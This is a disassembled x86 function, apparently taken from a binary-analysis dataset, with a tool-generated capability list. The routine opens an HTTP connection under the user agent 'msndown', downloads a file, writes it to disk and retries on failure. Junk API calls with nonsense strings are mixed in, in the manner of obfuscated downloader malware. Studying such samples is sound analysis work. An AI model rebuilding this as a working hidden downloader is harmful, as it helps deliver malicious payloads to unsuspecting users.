Function at 0x401060
Capabilities:
Check http status code
Clear file content
Connect to http server
Create http request
Download and write a file
Get disk information
Read .ini file
Read and send data from client to server
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request

Disassembly:
push 0xffffffffffffffff
push 0x4042d7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
push ebx
push ebp
push esi
push edi
mov esi, ecx
push str.ehsc
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
lea ecx, [esp + 0x28]
mov dword [0x4071e8], edi
call fcn.00403f24
lea ecx, [esp + 0x14]
mov dword [esp + 0x14c], edi
call fcn.00403f24
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call fcn.00403f24
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x1c]
push eax
mov byte [esp + 0x150], 2
call sub.MFC42.DLL_CString::CString_1
mov byte [esp + 0x14c], 3
lea ecx, [esp + 0x42]
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x3c]
push eax
push ecx
push edx
call sub.MFC42.DLL_AfxParseURL
test eax, eax
je 0x40150a
cmp dword [esp + 0x34], 3
jne 0x40150a
push 0
push 0
push 0
push 0
push str.msndown
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x30], ebx
je 0x401412
mov eax, dword [esp + 0x14]
push 0
push 0
push 3
push str.HTTP_1.0
push 0x4071ec
push 0x50
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x2c], ebp
je 0x40140b
mov ecx, dword [esp + 0x18]
push 0
push 0x80000000
push 0
push 0
push str.HTTP_1.0
push ecx
push 0x407064
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x401400
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4013f5
lea edx, [esp + 0x38]
push 0
lea eax, [esp + 0x48]
push edx
push eax
push 0x13
push ebx
mov dword [esp + 0x4c], 0x100
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x4011e1
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.MSVCRT.dll_atol]
add esp, 4
mov dword [esp + 0x3c], eax
jmp 0x4011e5
mov eax, dword [esp + 0x3c]
cmp eax, 0xc8
jne 0x4013e2
mov al, byte [esp + 0x164]
test al, al
je 0x4012df
mov edx, dword [esp + 0x160]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x10]
push 0
push eax
mov byte [esp + 0x154], 4
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x4012ab
mov eax, dword [esp + 0x10]
mov edx, dword [esi + 4]
add esi, 4
push 0
push 2
push eax
mov ecx, esi
call dword [edx + 0x28]
test eax, eax
jne 0x401264
lea ecx, [esp + 0x10]
mov edi, 4
mov byte [esp + 0x14c], 3
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x20]
jmp 0x4013f5
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x38]
mov edi, eax
mov eax, dword [esi]
push 2
push 0
mov ecx, esi
call dword [eax + 0x30]
push 0
push 0
push 0
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
mov ecx, dword [0x4071e8]
mov esi, dword [esp + 0x20]
add ecx, eax
mov dword [0x4071e8], ecx
lea ecx, [esp + 0x10]
mov byte [esp + 0x14c], 3
call sub.MFC42.DLL_CString::CString
jmp 0x4012ff
mov eax, dword [esp + 0x10]
mov edx, dword [esi + 4]
lea ecx, [esi + 4]
push 0
push 0x1002
push eax
call dword [edx + 0x28]
test eax, eax
jne 0x401298
lea ecx, [esp + 0x10]
mov edi, 4
mov byte [esp + 0x14c], 3
call sub.MFC42.DLL_CString::CString
jmp 0x4013f5
mov edx, dword [esp + 0x158]
mov ecx, dword [esp + 0x15c]
xor eax, eax
mov edi, dword [edx]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ebp, [esi + 0x14]
push str.qydml
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
push 0
push 0
push str.udhk
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push 0
push 0
push 0
push str.efbg
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov ecx, 0x100
xor eax, eax
mov edi, ebp
mov dword [esp + 0x24], eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
push eax
push 0x400
push ebp
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
jne 0x4013d2
mov al, byte [esp + 0x164]
test al, al
je 0x40137e
mov eax, dword [esp + 0x24]
mov edx, dword [esi + 4]
add esi, 4
push eax
push ebp
mov ecx, esi
call dword [edx + 0x40]
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x50]
jmp 0x4013b0
mov eax, dword [0x4071e8]
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x15c]
lea edx, [eax + ecx]
cmp edx, edi
ja 0x4013db
mov edx, dword [esp + 0x158]
mov esi, ebp
mov edi, dword [edx]
add edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x24]
mov edx, dword [0x4071e8]
add edx, eax
cmp eax, 0x400
mov dword [0x4071e8], edx
jb 0x40142c
mov esi, dword [esp + 0x20]
jmp 0x401302
mov edx, dword [esi + 4]
lea ecx, [esi + 4]
call dword [edx + 0x54]
mov edi, 5
jmp 0x4013f5
push eax
lea eax, [esi + 0x14]
push 0x407040
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebp, dword [esp + 0x2c]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x30]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jge 0x4014bc
jmp 0x4010ec
mov al, byte [esp + 0x164]
test al, al
je 0x401443
mov ecx, dword [esp + 0x20]
add ecx, 4
mov edx, dword [ecx]
call dword [edx + 0x54]
test ebx, ebx
je 0x401452
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
jmp 0x401458
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x401463
push eax
call esi
mov eax, dword [esp + 0x30]
test eax, eax
je 0x40146e
push eax
call esi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x14c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x401556
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x14c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 0xfffffc16
jmp 0x401556
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x14c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 0xffffff9c
mov ecx, dword [esp + 0x144]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x140
ret 0x14